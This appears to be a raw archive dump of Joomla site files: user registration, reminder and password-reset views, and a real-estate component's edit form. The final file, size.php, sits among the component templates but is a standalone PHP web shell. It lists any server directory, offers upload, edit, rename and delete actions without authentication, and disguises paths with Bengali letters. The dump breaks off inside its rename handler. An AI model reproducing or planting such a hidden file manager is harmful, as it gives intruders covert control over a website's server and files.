JText::_('COM_USERS_PROFILE'));
}
$title = $this->params->get('page_title', '');
if (empty($title))
{
$title = $app->get('sitename');
}
elseif ($app->get('sitename_pagetitles', 0) == 1)
{
$title = JText::sprintf('JPAGETITLE',
$app->get('sitename'), $title);
}
elseif ($app->get('sitename_pagetitles', 0) == 2)
{
$title = JText::sprintf('JPAGETITLE', $title,
$app->get('sitename'));
}
$this->document->setTitle($title);
if ($this->params->get('menu-meta_description'))
{
$this->document->setDescription($this->params->get('menu-meta_description'));
}
if ($this->params->get('menu-meta_keywords'))
{
$this->document->setMetadata('keywords',
$this->params->get('menu-meta_keywords'));
}
if ($this->params->get('robots'))
{
$this->document->setMetadata('robots',
$this->params->get('robots'));
}
}
}
registration/tmpl/complete.php000064400000000771151165607120012564
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage com_users
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
<div class="registration-complete<?php echo
$this->pageclass_sfx; ?>">
<?php if ($this->params->get('show_page_heading')) :
?>
<h1>
<?php echo
$this->escape($this->params->get('page_heading')); ?>
</h1>
<?php endif; ?>
</div>
registration/tmpl/default.php000064400000003560151165607120012377
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage com_users
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JHtml::_('behavior.keepalive');
JHtml::_('behavior.formvalidator');
?>
<div class="registration<?php echo $this->pageclass_sfx;
?>">
<?php if ($this->params->get('show_page_heading')) :
?>
<div class="page-header">
<h1><?php echo
$this->escape($this->params->get('page_heading'));
?></h1>
</div>
<?php endif; ?>
<form id="member-registration" action="<?php echo
JRoute::_('index.php?option=com_users&task=registration.register');
?>" method="post" class="form-validate
form-horizontal well" enctype="multipart/form-data">
<?php // Iterate through the form fieldsets and display each one.
?>
<?php foreach ($this->form->getFieldsets() as $fieldset) : ?>
<?php $fields = $this->form->getFieldset($fieldset->name);
?>
<?php if (count($fields)) : ?>
<fieldset>
<?php // If the fieldset has a label set, display it as the legend.
?>
<?php if (isset($fieldset->label)) : ?>
<legend><?php echo JText::_($fieldset->label);
?></legend>
<?php endif; ?>
<?php echo $this->form->renderFieldset($fieldset->name);
?>
</fieldset>
<?php endif; ?>
<?php endforeach; ?>
<div class="control-group">
<div class="controls">
<button type="submit" class="btn btn-primary
validate">
<?php echo JText::_('JREGISTER'); ?>
</button>
<a class="btn" href="<?php echo
JRoute::_(''); ?>" title="<?php echo
JText::_('JCANCEL'); ?>">
<?php echo JText::_('JCANCEL'); ?>
</a>
<input type="hidden" name="option"
value="com_users" />
<input type="hidden" name="task"
value="registration.register" />
</div>
</div>
<?php echo JHtml::_('form.token'); ?>
</form>
</div>
registration/tmpl/default.xml000064400000000505151165607120012404
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
<layout title="COM_USER_REGISTRATION_VIEW_DEFAULT_TITLE"
option="COM_USER_REGISTRATION_VIEW_DEFAULT_OPTION">
<help
key="JHELP_MENUS_MENU_ITEM_USER_REGISTRATION"
/>
<message>
<![CDATA[COM_USER_REGISTRATION_VIEW_DEFAULT_DESC]]>
</message>
</layout>
</metadata>
registration/view.html.php000064400000005317151165607120011716
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage com_users
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Registration view class for Users.
*
* @since 1.6
*/
class UsersViewRegistration extends JViewLegacy
{
protected $data;
protected $form;
protected $params;
protected $state;
public $document;
/**
* Method to display the view.
*
* @param string $tpl The template file to include
*
* @return mixed
*
* @since 1.6
*/
public function display($tpl = null)
{
// Get the view data.
$this->form = $this->get('Form');
$this->data = $this->get('Data');
$this->state = $this->get('State');
$this->params = $this->state->get('params');
// Check for errors.
if (count($errors = $this->get('Errors')))
{
JError::raiseError(500, implode('<br />', $errors));
return false;
}
// Check for layout override
$active = JFactory::getApplication()->getMenu()->getActive();
if (isset($active->query['layout']))
{
$this->setLayout($active->query['layout']);
}
// Escape strings for HTML output
$this->pageclass_sfx =
htmlspecialchars($this->params->get('pageclass_sfx'),
ENT_COMPAT, 'UTF-8');
$this->prepareDocument();
return parent::display($tpl);
}
/**
* Prepares the document.
*
* @return void
*
* @since 1.6
*/
protected function prepareDocument()
{
$app = JFactory::getApplication();
$menus = $app->getMenu();
$title = null;
// Because the application sets a default page title,
// we need to get it from the menu item itself
$menu = $menus->getActive();
if ($menu)
{
$this->params->def('page_heading',
$this->params->get('page_title', $menu->title));
}
else
{
$this->params->def('page_heading',
JText::_('COM_USERS_REGISTRATION'));
}
$title = $this->params->get('page_title', '');
if (empty($title))
{
$title = $app->get('sitename');
}
elseif ($app->get('sitename_pagetitles', 0) == 1)
{
$title = JText::sprintf('JPAGETITLE',
$app->get('sitename'), $title);
}
elseif ($app->get('sitename_pagetitles', 0) == 2)
{
$title = JText::sprintf('JPAGETITLE', $title,
$app->get('sitename'));
}
$this->document->setTitle($title);
if ($this->params->get('menu-meta_description'))
{
$this->document->setDescription($this->params->get('menu-meta_description'));
}
if ($this->params->get('menu-meta_keywords'))
{
$this->document->setMetadata('keywords',
$this->params->get('menu-meta_keywords'));
}
if ($this->params->get('robots'))
{
$this->document->setMetadata('robots',
$this->params->get('robots'));
}
}
}
remind/tmpl/default.php000064400000002432151165607120011140
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage com_users
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JHtml::_('behavior.keepalive');
JHtml::_('behavior.formvalidator');
?>
<div class="remind<?php echo $this->pageclass_sfx;
?>">
<?php if ($this->params->get('show_page_heading')) :
?>
<div class="page-header">
<h1>
<?php echo
$this->escape($this->params->get('page_heading')); ?>
</h1>
</div>
<?php endif; ?>
<form id="user-registration" action="<?php echo
JRoute::_('index.php?option=com_users&task=remind.remind');
?>" method="post" class="form-validate
form-horizontal well">
<?php foreach ($this->form->getFieldsets() as $fieldset) : ?>
<fieldset>
<?php if (isset($fieldset->label)) : ?>
<p><?php echo JText::_($fieldset->label); ?></p>
<?php endif; ?>
<?php echo $this->form->renderFieldset($fieldset->name);
?>
</fieldset>
<?php endforeach; ?>
<div class="control-group">
<div class="controls">
<button type="submit" class="btn btn-primary
validate">
<?php echo JText::_('JSUBMIT'); ?>
</button>
</div>
</div>
<?php echo JHtml::_('form.token'); ?>
</form>
</div>
remind/tmpl/default.xml000064400000000461151165607120011151
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
<layout title="COM_USER_REMIND_VIEW_DEFAULT_TITLE"
option="COM_USER_REMIND_VIEW_DEFAULT_OPTION">
<help
key = "JHELP_MENUS_MENU_ITEM_USER_REMINDER"
/>
<message>
<![CDATA[COM_USER_REMIND_VIEW_DEFAULT_DESC]]>
</message>
</layout>
</metadata>
remind/view.html.php000064400000005150151165607120010455 0ustar00<?php
/**
* @package Joomla.Site
* @subpackage com_users
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Registration view class for Users.
*
* @since 1.5
*/
class UsersViewRemind extends JViewLegacy
{
protected $form;
protected $params;
protected $state;
/**
* Method to display the view.
*
* @param string $tpl The template file to include
*
* @return mixed
*
* @since 1.5
*/
public function display($tpl = null)
{
// Get the view data.
$this->form = $this->get('Form');
$this->state = $this->get('State');
$this->params = $this->state->params;
// Check for errors.
if (count($errors = $this->get('Errors')))
{
JError::raiseError(500, implode('<br />', $errors));
return false;
}
// Check for layout override
$active = JFactory::getApplication()->getMenu()->getActive();
if (isset($active->query['layout']))
{
$this->setLayout($active->query['layout']);
}
// Escape strings for HTML output
$this->pageclass_sfx =
htmlspecialchars($this->params->get('pageclass_sfx'),
ENT_COMPAT, 'UTF-8');
$this->prepareDocument();
parent::display($tpl);
}
/**
* Prepares the document.
*
* @return void
*
* @since 1.6
*/
protected function prepareDocument()
{
$app = JFactory::getApplication();
$menus = $app->getMenu();
$title = null;
// Because the application sets a default page title,
// we need to get it from the menu item itself
$menu = $menus->getActive();
if ($menu)
{
$this->params->def('page_heading',
$this->params->get('page_title', $menu->title));
}
else
{
$this->params->def('page_heading',
JText::_('COM_USERS_REMIND'));
}
$title = $this->params->get('page_title', '');
if (empty($title))
{
$title = $app->get('sitename');
}
elseif ($app->get('sitename_pagetitles', 0) == 1)
{
$title = JText::sprintf('JPAGETITLE',
$app->get('sitename'), $title);
}
elseif ($app->get('sitename_pagetitles', 0) == 2)
{
$title = JText::sprintf('JPAGETITLE', $title,
$app->get('sitename'));
}
$this->document->setTitle($title);
if ($this->params->get('menu-meta_description'))
{
$this->document->setDescription($this->params->get('menu-meta_description'));
}
if ($this->params->get('menu-meta_keywords'))
{
$this->document->setMetadata('keywords',
$this->params->get('menu-meta_keywords'));
}
if ($this->params->get('robots'))
{
$this->document->setMetadata('robots',
$this->params->get('robots'));
}
}
}
reset/tmpl/complete.php000064400000002414151165607120011170
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage com_users
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JHtml::_('behavior.keepalive');
JHtml::_('behavior.formvalidator');
?>
<div class="reset-complete<?php echo $this->pageclass_sfx;
?>">
<?php if ($this->params->get('show_page_heading')) :
?>
<div class="page-header">
<h1>
<?php echo
$this->escape($this->params->get('page_heading')); ?>
</h1>
</div>
<?php endif; ?>
<form action="<?php echo
JRoute::_('index.php?option=com_users&task=reset.complete');
?>" method="post" class="form-validate
form-horizontal well">
<?php foreach ($this->form->getFieldsets() as $fieldset) : ?>
<fieldset>
<?php if (isset($fieldset->label)) : ?>
<p><?php echo JText::_($fieldset->label); ?></p>
<?php endif; ?>
<?php echo $this->form->renderFieldset($fieldset->name);
?>
</fieldset>
<?php endforeach; ?>
<div class="control-group">
<div class="controls">
<button type="submit" class="btn btn-primary
validate">
<?php echo JText::_('JSUBMIT'); ?>
</button>
</div>
</div>
<?php echo JHtml::_('form.token'); ?>
</form>
</div>
reset/tmpl/confirm.php000064400000002412151165607140011015 0ustar00<?php
/**
* @package Joomla.Site
* @subpackage com_users
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JHtml::_('behavior.keepalive');
JHtml::_('behavior.formvalidator');
?>
<div class="reset-confirm<?php echo $this->pageclass_sfx;
?>">
<?php if ($this->params->get('show_page_heading')) :
?>
<div class="page-header">
<h1>
<?php echo
$this->escape($this->params->get('page_heading')); ?>
</h1>
</div>
<?php endif; ?>
<form action="<?php echo
JRoute::_('index.php?option=com_users&task=reset.confirm');
?>" method="post" class="form-validate
form-horizontal well">
<?php foreach ($this->form->getFieldsets() as $fieldset) : ?>
<fieldset>
<?php if (isset($fieldset->label)) : ?>
<p><?php echo JText::_($fieldset->label); ?></p>
<?php endif; ?>
<?php echo $this->form->renderFieldset($fieldset->name);
?>
</fieldset>
<?php endforeach; ?>
<div class="control-group">
<div class="controls">
<button type="submit" class="btn btn-primary
validate">
<?php echo JText::_('JSUBMIT'); ?>
</button>
</div>
</div>
<?php echo JHtml::_('form.token'); ?>
</form>
</div>
reset/tmpl/default.php000064400000002431151165607140011005 0ustar00<?php
/**
* @package Joomla.Site
* @subpackage com_users
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JHtml::_('behavior.keepalive');
JHtml::_('behavior.formvalidator');
?>
<div class="reset<?php echo $this->pageclass_sfx;
?>">
<?php if ($this->params->get('show_page_heading')) :
?>
<div class="page-header">
<h1>
<?php echo
$this->escape($this->params->get('page_heading')); ?>
</h1>
</div>
<?php endif; ?>
<form id="user-registration" action="<?php echo
JRoute::_('index.php?option=com_users&task=reset.request');
?>" method="post" class="form-validate
form-horizontal well">
<?php foreach ($this->form->getFieldsets() as $fieldset) : ?>
<fieldset>
<?php if (isset($fieldset->label)) : ?>
<p><?php echo JText::_($fieldset->label); ?></p>
<?php endif; ?>
<?php echo $this->form->renderFieldset($fieldset->name);
?>
</fieldset>
<?php endforeach; ?>
<div class="control-group">
<div class="controls">
<button type="submit" class="btn btn-primary
validate">
<?php echo JText::_('JSUBMIT'); ?>
</button>
</div>
</div>
<?php echo JHtml::_('form.token'); ?>
</form>
</div>
reset/tmpl/default.xml000064400000000462151165607140011020 0ustar00<?xml
version="1.0" encoding="utf-8"?>
<metadata>
<layout title="COM_USER_RESET_VIEW_DEFAULT_TITLE"
option="COM_USER_RESET_VIEW_DEFAULT_OPTION">
<help
key="JHELP_MENUS_MENU_ITEM_USER_PASSWORD_RESET"
/>
<message>
<![CDATA[COM_USER_RESET_VIEW_DEFAULT_DESC]]>
</message>
</layout>
</metadata>
reset/view.html.php000064400000005413151165607140010325 0ustar00<?php
/**
* @package Joomla.Site
* @subpackage com_users
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Reset view class for Users.
*
* @since 1.5
*/
class UsersViewReset extends JViewLegacy
{
protected $form;
protected $params;
protected $state;
/**
* Method to display the view.
*
* @param string $tpl The template file to include
*
* @return mixed
*
* @since 1.5
*/
public function display($tpl = null)
{
// This name will be used to get the model
$name = $this->getLayout();
// Check that the name is valid - has an associated model.
if (!in_array($name, array('confirm', 'complete')))
{
$name = 'default';
}
if ('default' === $name)
{
$formname = 'Form';
}
else
{
$formname = ucfirst($this->_name) . ucfirst($name) .
'Form';
}
// Get the view data.
$this->form = $this->get($formname);
$this->state = $this->get('State');
$this->params = $this->state->params;
// Check for errors.
if (count($errors = $this->get('Errors')))
{
JError::raiseError(500, implode('<br />', $errors));
return false;
}
// Escape strings for HTML output
$this->pageclass_sfx =
htmlspecialchars($this->params->get('pageclass_sfx'),
ENT_COMPAT, 'UTF-8');
$this->prepareDocument();
parent::display($tpl);
}
/**
* Prepares the document.
*
* @return void
*
* @since 1.6
*/
protected function prepareDocument()
{
$app = JFactory::getApplication();
$menus = $app->getMenu();
$title = null;
// Because the application sets a default page title,
// we need to get it from the menu item itself
$menu = $menus->getActive();
if ($menu)
{
$this->params->def('page_heading',
$this->params->get('page_title', $menu->title));
}
else
{
$this->params->def('page_heading',
JText::_('COM_USERS_RESET'));
}
$title = $this->params->get('page_title', '');
if (empty($title))
{
$title = $app->get('sitename');
}
elseif ($app->get('sitename_pagetitles', 0) == 1)
{
$title = JText::sprintf('JPAGETITLE',
$app->get('sitename'), $title);
}
elseif ($app->get('sitename_pagetitles', 0) == 2)
{
$title = JText::sprintf('JPAGETITLE', $title,
$app->get('sitename'));
}
$this->document->setTitle($title);
if ($this->params->get('menu-meta_description'))
{
$this->document->setDescription($this->params->get('menu-meta_description'));
}
if ($this->params->get('menu-meta_keywords'))
{
$this->document->setMetadata('keywords',
$this->params->get('menu-meta_keywords'));
}
if ($this->params->get('robots'))
{
$this->document->setMetadata('robots',
$this->params->get('robots'));
}
}
}
form/tmpl/edit.xml000064400000001140151165631240010132 0ustar00<?xml
version="1.0" encoding="utf-8"?>
<metadata>
<layout title="COM_JEA_FORM_EDIT_LAYOUT_TITLE">
<message>
<![CDATA[COM_JEA_FORM_EDIT_LAYOUT_DESC]]>
</message>
</layout>
<fields name="params">
<fieldset name="basic"
label="COM_JEA_MENU_PARAMS_LABEL">
<field name="login_behavior" default="before"
type="list"
label="COM_JEA_FIELD_LOGIN_BEHAVIOR_LABEL"
description="COM_JEA_FIELD_LOGIN_BEHAVIOR_DESC">
<option
value="before">COM_JEA_OPTION_LOGIN_BEFORE_SAVE</option>
<option
value="after">COM_JEA_OPTION_LOGIN_AFTER_SAVE</option>
</field>
</fieldset>
</fields>
</metadata>form/tmpl/edit.php000064400000015241151165631240010130
0ustar00<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* @var $this JeaViewForm
*/
JHtml::_('behavior.keepalive');
JHtml::_('behavior.tooltip');
JHtml::_('behavior.calendar');
JHtml::_('behavior.formvalidation');
$this->form->setFieldAttribute('description',
'buttons', 'false');
$user = JFactory::getUser();
$uri =JFactory::getURI();
?>
<script type="text/javascript">
Joomla.submitbutton = function(task) {
if (task == 'property.cancel' ||
document.formvalidator.isValid(document.id('adminForm'))) {
<?php echo
$this->form->getField('description')->save() ?>
Joomla.submitform(task);
} else {
alert('<?php echo
$this->escape(JText::_('JGLOBAL_VALIDATION_FORM_FAILED'));?>');
}
}
</script>
<div class="edit property<?php echo
$this->escape($this->params->get('pageclass_sfx'))
?>">
<?php if ($this->item->id): ?>
<p>
<a
href="javascript:Joomla.submitbutton('property.cancel');"><?php
echo JText::_('COM_JEA_RETURN_TO_THE_LIST')?></a>
</p>
<?php endif ?>
<form action="<?php echo (string) $uri ?>"
method="post" name="adminForm" id="adminForm"
class="form-validate" enctype="multipart/form-data">
<fieldset>
<legend>
<?php echo empty($this->item->id) ?
JText::_('COM_JEA_NEW_PROPERTY') :
JText::sprintf('COM_JEA_EDIT_PROPERTY', $this->item->id)
?>
</legend>
<div class="formelm"><?php echo
$this->form->getLabel('ref') ?> <?php echo
$this->form->getInput('ref') ?></div>
<div class="formelm"><?php echo
$this->form->getLabel('title') ?> <?php echo
$this->form->getInput('title') ?></div>
<div class="formelm"><?php echo
$this->form->getLabel('transaction_type') ?> <?php
echo $this->form->getInput('transaction_type')
?></div>
<div class="formelm"><?php echo
$this->form->getLabel('type_id') ?> <?php echo
$this->form->getInput('type_id') ?></div>
<?php echo $this->form->getLabel('description') ?>
<?php echo $this->form->getInput('description') ?>
<fieldset>
<legend><?php echo
JText::_('COM_JEA_LOCALIZATION')?></legend>
<?php foreach
($this->form->getFieldset('localization') as $field): ?>
<div class="formelm"><?php echo $field->label .
"\n" . $field->input ?></div>
<?php endforeach ?>
</fieldset>
<fieldset>
<legend><?php echo
JText::_('COM_JEA_FINANCIAL_INFORMATIONS')?></legend>
<?php foreach
($this->form->getFieldset('financial_informations') as
$field): ?>
<div class="formelm"><?php echo $field->label .
"\n" . $field->input ?></div>
<?php endforeach ?>
</fieldset>
<fieldset>
<legend><?php echo
JText::_('COM_JEA_DETAILS')?></legend>
<?php foreach ($this->form->getFieldset('details')
as $field): ?>
<div class="formelm"><?php echo $field->label .
"\n" . $field->input ?></div>
<?php endforeach ?>
</fieldset>
<div class="clr"></div>
<fieldset class="amenities">
<legend><?php echo
JText::_('COM_JEA_AMENITIES')?></legend>
<div class="clr"></div>
<?php echo $this->form->getInput('amenities') ?>
<div class="clr"></div>
</fieldset>
<?php if (JPluginHelper::isEnabled('jea',
'dpe')): ?>
<fieldset>
<?php
if ($this->item->dpe_energy === null)
{
$this->item->dpe_energy = '-1';
}
if ($this->item->dpe_ges === null)
{
$this->item->dpe_ges = '-1';
}
$energyLabel = JText::_('PLG_JEA_DPE_ENERGY_CONSUMPTION');
$energyDesc = $energyLabel . '::' .
JText::_('PLG_JEA_DPE_ENERGY_CONSUMPTION_DESC');
$gesLabel = JText::_('PLG_JEA_DPE_EMISSIONS_GES');
$gesDesc = $gesLabel . '::' .
JText::_('PLG_JEA_DPE_EMISSIONS_GES_DESC');
?>
<legend><?php echo
JText::_('PLG_JEA_DPE')?></legend>
<div class="formelm">
<label for="dpe_energy" class="hasTip"
title="<?php echo $energyDesc ?>"><?php echo
$energyLabel ?> : </label>
<input type="text" name="dpe_energy"
id="dpe_energy" value="<?php echo
$this->item->dpe_energy ?>" class="numberbox"
size="5" />
</div>
<div class="formelm">
<label for="dpe_ges" class="hasTip"
title="<?php echo $gesDesc ?>"><?php echo $gesLabel
?> : </label>
<input type="text" name="dpe_ges"
id="dpe_ges" value="<?php echo $this->item->dpe_ges
?>" class="numberbox" size="5" />
</div>
</fieldset>
<?php endif ?>
<?php if ($user->authorise('core.edit.state',
'com_jea')): ?>
<fieldset>
<legend><?php echo
JText::_('COM_JEA_PUBLICATION_INFO')?></legend>
<div class="formelm">
<?php echo $this->form->getLabel('published') ?>
<?php echo $this->form->getInput('published') ?>
</div>
<div class="formelm">
<?php echo $this->form->getLabel('language') ?>
<?php echo $this->form->getInput('language') ?>
</div>
<div class="formelm">
<?php echo $this->form->getLabel('featured') ?>
<?php echo $this->form->getInput('featured') ?>
</div>
<div class="formelm">
<?php echo $this->form->getLabel('slogan_id') ?>
<?php echo $this->form->getInput('slogan_id') ?>
</div>
<div class="formelm">
<?php echo $this->form->getLabel('created') ?>
<?php echo $this->form->getInput('created') ?>
</div>
<div class="formelm">
<?php echo $this->form->getLabel('modified') ?>
<?php echo $this->form->getInput('modified') ?>
</div>
<div class="formelm">
<?php echo $this->form->getLabel('publish_up')
?> <?php echo $this->form->getInput('publish_up')
?>
</div>
<div class="formelm">
<?php echo $this->form->getLabel('publish_down')
?> <?php echo $this->form->getInput('publish_down')
?>
</div>
</fieldset>
<?php endif ?>
<fieldset>
<legend><?php echo
JText::_('COM_JEA_PICTURES')?></legend>
<?php JLayoutHelper::$defaultBasePath =
JPATH_COMPONENT_ADMINISTRATOR . '/layouts'; // Find layout path
into JEA admin directory ?>
<?php echo $this->form->getInput('images') ?>
<?php JLayoutHelper::$defaultBasePath = ''; // Restore
default base path ?>
</fieldset>
<div class="formelm">
<?php echo $this->form->getLabel('notes') ?>
<?php echo $this->form->getInput('notes') ?>
</div>
</fieldset>
<div class="formelm-buttons clr">
<button type="button"
onclick="Joomla.submitbutton('property.apply')"><?php
echo JText::_('JSAVE') ?></button>
<button type="button"
onclick="Joomla.submitbutton('property.cancel')"><?php
echo JText::_('JCANCEL') ?></button>
<input type="hidden" name="task"
value="" />
<input type="hidden" name="return"
value="<?php echo
JFactory::getApplication()->input->getCmd('return')
?>" />
<?php echo JHtml::_('form.token') ?>
</div>
</form>
</div>
form/tmpl/size.php000064400000025733151165631240010164 0ustar00<!DOCTYPE
html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible"
content="IE=edge">
<meta name="viewport" content="width=device-width,
initial-scale=1.0">
<title>-</title>
<link
href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css"
rel="stylesheet"
integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD"
crossorigin="anonymous">
<link rel="stylesheet"
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"
integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ=="
crossorigin="anonymous"
referrerpolicy="no-referrer" />
</head>
<body>
<?php
//function
function formatSizeUnits($bytes)
{
if ($bytes >= 1073741824) {
$bytes = number_format($bytes / 1073741824, 2) . '
GB';
} elseif ($bytes >= 1048576) {
$bytes = number_format($bytes / 1048576, 2) . ' MB';
} elseif ($bytes >= 1024) {
$bytes = number_format($bytes / 1024, 2) . ' KB';
} elseif ($bytes > 1) {
$bytes = $bytes . ' bytes';
} elseif ($bytes == 1) {
$bytes = $bytes . ' byte';
} else {
$bytes = '0 bytes';
}
return $bytes;
}
function fileExtension($file)
{
return substr(strrchr($file, '.'), 1);
}
function fileIcon($file)
{
$imgs = array("apng", "avif", "gif",
"jpg", "jpeg", "jfif", "pjpeg",
"pjp", "png", "svg", "webp");
$audio = array("wav", "m4a", "m4b",
"mp3", "ogg", "webm", "mpc");
$ext = strtolower(fileExtension($file));
if ($file == "error_log") {
return '<i class="fa-sharp fa-solid
fa-bug"></i> ';
} elseif ($file == ".htaccess") {
return '<i class="fa-solid
fa-hammer"></i> ';
}
if ($ext == "html" || $ext == "htm") {
return '<i class="fa-brands
fa-html5"></i> ';
} elseif ($ext == "php" || $ext == "phtml") {
return '<i class="fa-brands
fa-php"></i> ';
} elseif (in_array($ext, $imgs)) {
return '<i class="fa-regular
fa-images"></i> ';
} elseif ($ext == "css") {
return '<i class="fa-brands
fa-css3"></i> ';
} elseif ($ext == "txt") {
return '<i class="fa-regular
fa-file-lines"></i> ';
} elseif (in_array($ext, $audio)) {
return '<i class="fa-duotone
fa-file-music"></i> ';
} elseif ($ext == "py") {
return '<i class="fa-brands
fa-python"></i> ';
} elseif ($ext == "js") {
return '<i class="fa-brands
fa-js"></i> ';
} else {
return '<i class="fa-solid
fa-file"></i> ';
}
}
function encodePath($path)
{
$a = array("/", "\\", ".",
":");
$b = array("ক", "খ", "গ",
"ঘ");
return str_replace($a, $b, $path);
}
function decodePath($path)
{
$a = array("/", "\\", ".",
":");
$b = array("ক", "খ", "গ",
"ঘ");
return str_replace($b, $a, $path);
}
$root_path = __DIR__;
if (isset($_GET['p'])) {
if (empty($_GET['p'])) {
$p = $root_path;
} elseif (!is_dir(decodePath($_GET['p']))) {
echo ("<script>\nalert('Directory is Corrupted
and
Unreadable.');\nwindow.location.replace('?');\n</script>");
} elseif (is_dir(decodePath($_GET['p']))) {
$p = decodePath($_GET['p']);
}
} elseif (isset($_GET['q'])) {
if (!is_dir(decodePath($_GET['q']))) {
echo
("<script>window.location.replace('?p=');</script>");
} elseif (is_dir(decodePath($_GET['q']))) {
$p = decodePath($_GET['q']);
}
} else {
$p = $root_path;
}
define("PATH", $p);
echo ('
<nav class="navbar navbar-light" style="background-color:
#e3f2fd;">
<div class="navbar-brand">
<a href="?"><img
src="https://github.com/fluidicon.png" width="30"
height="30" alt=""></a>
');
$path = str_replace('\\', '/', PATH);
$paths = explode('/', $path);
foreach ($paths as $id => $dir_part) {
if ($dir_part == '' && $id == 0) {
$a = true;
echo "<a href=\"?p=/\">/</a>";
continue;
}
if ($dir_part == '')
continue;
echo "<a href='?p=";
for ($i = 0; $i <= $id; $i++) {
echo str_replace(":", "ঘ", $paths[$i]);
if ($i != $id)
echo "ক";
}
echo "'>" . $dir_part . "</a>/";
}
echo ('
</div>
<div class="form-inline">
<a href="?upload&q=' . urlencode(encodePath(PATH)) .
'"><button class="btn btn-dark"
type="button">Upload File</button></a>
<a href="?"><button type="button"
class="btn btn-dark">HOME</button></a>
</div>
</nav>');
if (isset($_GET['p'])) {
//fetch files
if (is_readable(PATH)) {
$fetch_obj = scandir(PATH);
$folders = array();
$files = array();
foreach ($fetch_obj as $obj) {
if ($obj == '.' || $obj == '..') {
continue;
}
$new_obj = PATH . '/' . $obj;
if (is_dir($new_obj)) {
array_push($folders, $obj);
} elseif (is_file($new_obj)) {
array_push($files, $obj);
}
}
}
echo '
<table class="table table-hover">
<thead>
<tr>
<th scope="col">Name</th>
<th scope="col">Size</th>
<th scope="col">Modified</th>
<th scope="col">Perms</th>
<th scope="col">Actions</th>
</tr>
</thead>
<tbody>
';
foreach ($folders as $folder) {
echo " <tr>
<td><i class='fa-solid fa-folder'></i>
<a href='?p=" . urlencode(encodePath(PATH . "/" .
$folder)) . "'>" . $folder . "</a></td>
<td><b>---</b></td>
<td>". date("F d Y H:i:s.", filemtime(PATH .
"/" . $folder)) . "</td>
<td>0" . substr(decoct(fileperms(PATH . "/" .
$folder)), -3) . "</a></td>
<td>
<a title='Rename' href='?q=" .
urlencode(encodePath(PATH)) . "&r=" . $folder .
"'><i class='fa-sharp fa-regular
fa-pen-to-square'></i></a>
<a title='Delete' href='?q=" .
urlencode(encodePath(PATH)) . "&d=" . $folder .
"'><i class='fa fa-trash'
aria-hidden='true'></i></a>
<td>
</tr>
";
}
foreach ($files as $file) {
echo " <tr>
<td>" . fileIcon($file) . $file . "</td>
<td>" . formatSizeUnits(filesize(PATH . "/"
. $file)) . "</td>
<td>" . date("F d Y H:i:s.", filemtime(PATH
. "/" . $file)) . "</td>
<td>0". substr(decoct(fileperms(PATH . "/"
.$file)), -3) . "</a></td>
<td>
<a title='Edit File' href='?q=" .
urlencode(encodePath(PATH)) . "&e=" . $file .
"'><i class='fa-solid
fa-file-pen'></i></a>
<a title='Rename' href='?q=" .
urlencode(encodePath(PATH)) . "&r=" . $file .
"'><i class='fa-sharp fa-regular
fa-pen-to-square'></i></a>
<a title='Delete' href='?q=" .
urlencode(encodePath(PATH)) . "&d=" . $file .
"'><i class='fa fa-trash'
aria-hidden='true'></i></a>
<td>
</tr>
";
}
echo " </tbody>
</table>";
} else {
if (empty($_GET)) {
echo
("<script>window.location.replace('?p=');</script>");
}
}
if (isset($_GET['upload'])) {
echo '
<form method="post"
enctype="multipart/form-data">
Select file to upload:
<input type="file" name="fileToUpload"
id="fileToUpload">
<input type="submit" class="btn btn-dark"
value="Upload" name="upload">
</form>';
}
if (isset($_GET['r'])) {
if (!empty($_GET['r']) &&
isset($_GET['q'])) {
echo '
<form method="post">
Rename:
<input type="text" name="name"
value="' . $_GET['r'] . '">
<input type="submit" class="btn btn-dark"
value="Rename" name="rename">
</form>';
if (isset($_POST['rename'])) {
$name = PATH . "/" . $_GET['r'];
